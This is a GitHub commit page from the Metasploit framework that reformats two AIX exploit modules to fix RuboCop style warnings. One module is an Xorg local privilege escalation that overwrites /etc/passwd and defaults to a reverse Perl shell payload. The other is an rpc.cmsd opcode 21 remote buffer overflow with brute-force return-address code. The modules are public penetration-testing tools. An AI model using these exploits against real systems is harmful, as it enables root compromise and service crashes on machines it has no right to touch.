Skip to content

Commit dbb618e

Browse files
bcolesbcoles
committed
modules/exploits/aix: Resolve RuboCop violations
1 parent 74d828c commit dbb618e

File tree

3 files changed

+193
-188
lines changed

3 files changed

+193
-188
lines changed

‎modules/exploits/aix/local/xorg_x11_server.rb‎

Lines changed: 47 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -10,65 +10,67 @@ class MetasploitModule < Msf::Exploit::Local
1010
include Msf::Exploit::FileDropper
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'Xorg X11 Server Local Privilege Escalation',
15-
'Description' => %q(
16-
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
17-
18-
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
19-
20-
A permission check flaw exists for -modulepath and -logfile options when
21-
starting Xorg. This allows unprivileged users that can start the server
22-
the ability to elevate privileges and run arbitrary code under root
23-
privileges.
24-
25-
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
26-
Due to permission restrictions of the crontab in AIX, this module does not use cron,
27-
and instead overwrites /etc/passwd in order to create a new user with root privileges.
28-
All currently logged in users need to be included when /etc/passwd is overwritten,
29-
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
30-
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
31-
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
32-
overwriting /etc/passwd.
33-
),
34-
'Author' =>
35-
[
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Xorg X11 Server Local Privilege Escalation',
17+
'Description' => %q{
18+
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
19+
20+
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
21+
22+
A permission check flaw exists for -modulepath and -logfile options when
23+
starting Xorg. This allows unprivileged users that can start the server
24+
the ability to elevate privileges and run arbitrary code under root
25+
privileges.
26+
27+
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
28+
Due to permission restrictions of the crontab in AIX, this module does not use cron,
29+
and instead overwrites /etc/passwd in order to create a new user with root privileges.
30+
All currently logged in users need to be included when /etc/passwd is overwritten,
31+
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
32+
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
33+
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
34+
overwriting /etc/passwd.
35+
},
36+
'Author' => [
3637
'Narendra Shinde', # Discovery and original FreeBSD exploit
3738
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
3839
],
39-
'License' => MSF_LICENSE,
40-
'DisclosureDate' => '2018-10-25',
41-
'Notes' =>
42-
{
43-
'SideEffects' => [ CONFIG_CHANGES ]
40+
'License' => MSF_LICENSE,
41+
'DisclosureDate' => '2018-10-25',
42+
'Notes' => {
43+
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK ],
44+
'Reliability' => [ UNRELIABLE_SESSION ],
45+
'Stability' => [ CRASH_SERVICE_DOWN ]
4446
},
45-
'References' =>
46-
[
47+
'References' => [
4748
['CVE', '2018-14665'],
4849
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
4950
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
5051
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
5152
['EDB', '45938']
5253
],
53-
'Platform' => ['unix'],
54-
'Arch' => [ARCH_CMD],
55-
'SessionTypes' => ['shell'],
56-
'Payload' => {
57-
'Compat' => {
58-
'PayloadType' => 'cmd',
59-
'RequiredCmd' => 'perl'
60-
}
61-
},
62-
'DefaultOptions' => {
63-
'Payload' => 'cmd/unix/reverse_perl'
64-
},
65-
'Targets' =>
66-
[
54+
'Platform' => ['unix'],
55+
'Arch' => [ARCH_CMD],
56+
'SessionTypes' => ['shell'],
57+
'Payload' => {
58+
'Compat' => {
59+
'PayloadType' => 'cmd',
60+
'RequiredCmd' => 'perl'
61+
}
62+
},
63+
'DefaultOptions' => {
64+
'Payload' => 'cmd/unix/reverse_perl'
65+
},
66+
'Targets' => [
6767
['IBM AIX Version 6.1', {}],
6868
['IBM AIX Version 7.1', {}],
6969
['IBM AIX Version 7.2', {}]
7070
],
71-
'DefaultTarget' => 1))
71+
'DefaultTarget' => 1
72+
)
73+
)
7274

7375
register_options(
7476
[

‎modules/exploits/aix/rpc_cmsd_opcode21.rb‎

Lines changed: 36 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -10,70 +10,73 @@ class MetasploitModule < Msf::Exploit::Remote
1010
include Msf::Exploit::Brute
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
15-
'Description' => %q{
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
17+
'Description' => %q{
1618
This module exploits a buffer overflow vulnerability in opcode 21 handled by
17-
rpc.cmsd on AIX. By making a request with a long string passed to the first
18-
argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
19-
leads to arbitrary code execution.
19+
rpc.cmsd on AIX. By making a request with a long string passed to the first
20+
argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
21+
leads to arbitrary code execution.
2022
21-
NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where
22-
further attempts are not possible.
23-
},
24-
'Author' =>
25-
[
23+
NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where
24+
further attempts are not possible.
25+
},
26+
'Author' => [
2627
'Rodrigo Rubira Branco (BSDaemon)',
2728
'jduck',
2829
],
29-
'References' =>
30-
[
30+
'References' => [
3131
[ 'CVE', '2009-3699' ],
3232
[ 'OSVDB', '58726' ],
3333
[ 'BID', '36615' ],
3434
[ 'URL', 'https://web.archive.org/web/20091013155835/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],
3535
[ 'URL', 'https://web.archive.org/web/20221204155746/http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]
3636
],
37-
'Platform' => [ 'aix' ],
38-
'Payload' =>
39-
{
37+
'Platform' => [ 'aix' ],
38+
'Payload' => {
4039
'Space' => 4104,
4140
'BadChars' => "\x00",
4241
# The RPC function splits the string by 0x40, watch out!
4342
# It's not a payload badchar since we're putting the payload elsewhere...
4443
'DisableNops' => true
4544
},
46-
'Targets' =>
47-
[
45+
'Targets' => [
4846
[
4947
'IBM AIX Version 5.1',
5048
{
51-
'Arch' => 'ppc',
49+
'Arch' => 'ppc',
5250
'Platform' => 'aix',
53-
'AIX' => '5.1',
51+
'AIX' => '5.1',
5452
'Bruteforce' =>
5553
{
5654
'Start' => { 'Ret' => 0x2022dfc8 },
57-
#worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },
58-
'Stop' => { 'Ret' => 0x202302c8 },
59-
'Step' => 600
55+
# worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },
56+
'Stop' => { 'Ret' => 0x202302c8 },
57+
'Step' => 600
6058
}
6159
}
6260
],
6361
],
64-
'DefaultTarget' => 0,
65-
'DisclosureDate' => '2009-10-07'))
66-
62+
'DefaultTarget' => 0,
63+
'DisclosureDate' => '2009-10-07',
64+
'Notes' => {
65+
'Reliability' => [ UNRELIABLE_SESSION ],
66+
'Stability' => [ CRASH_SERVICE_RESTARTS ],
67+
'SideEffects' => [ IOC_IN_LOGS ]
68+
}
69+
)
70+
)
6771
end
6872

6973
def brute_exploit(brute_target)
70-
71-
if not @aixpayload
74+
if !@aixpayload
7275
datastore['AIX'] = target['AIX']
7376
@aixpayload = regenerate_payload.encoded
7477
end
7578

76-
print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])
79+
print_status('Trying to exploit rpc.cmsd with address 0x%x ...' % brute_target['Ret'])
7780

7881
begin
7982
sunrpc_create('udp', 100068, 4)
@@ -82,22 +85,21 @@ def brute_exploit(brute_target)
8285
buf = make_nops(1024 - @aixpayload.length)
8386
buf << @aixpayload
8487
xdr = Rex::Encoder::XDR.encode(buf, buf)
85-
10.times {
88+
10.times do
8689
sunrpc_call(7, xdr, 2)
87-
}
90+
end
8891

89-
#print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)
92+
# print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)
9093

9194
buf = rand_text_alphanumeric(payload_space)
9295
buf << [brute_target['Ret']].pack('N')
9396

94-
xdr = Rex::Encoder::XDR.encode(buf, "")
97+
xdr = Rex::Encoder::XDR.encode(buf, '')
9598
sunrpc_authunix('localhost', 0, 0, [])
9699
sunrpc_call(21, xdr, 2)
97100

98101
handler(sunrpc_callsock)
99102
sunrpc_destroy
100-
101103
rescue Rex::Proto::SunRPC::RPCTimeout
102104
vprint_error('RPCTimeout')
103105
rescue Rex::Proto::SunRPC::RPCError => e

0 commit comments

Comments
 (0)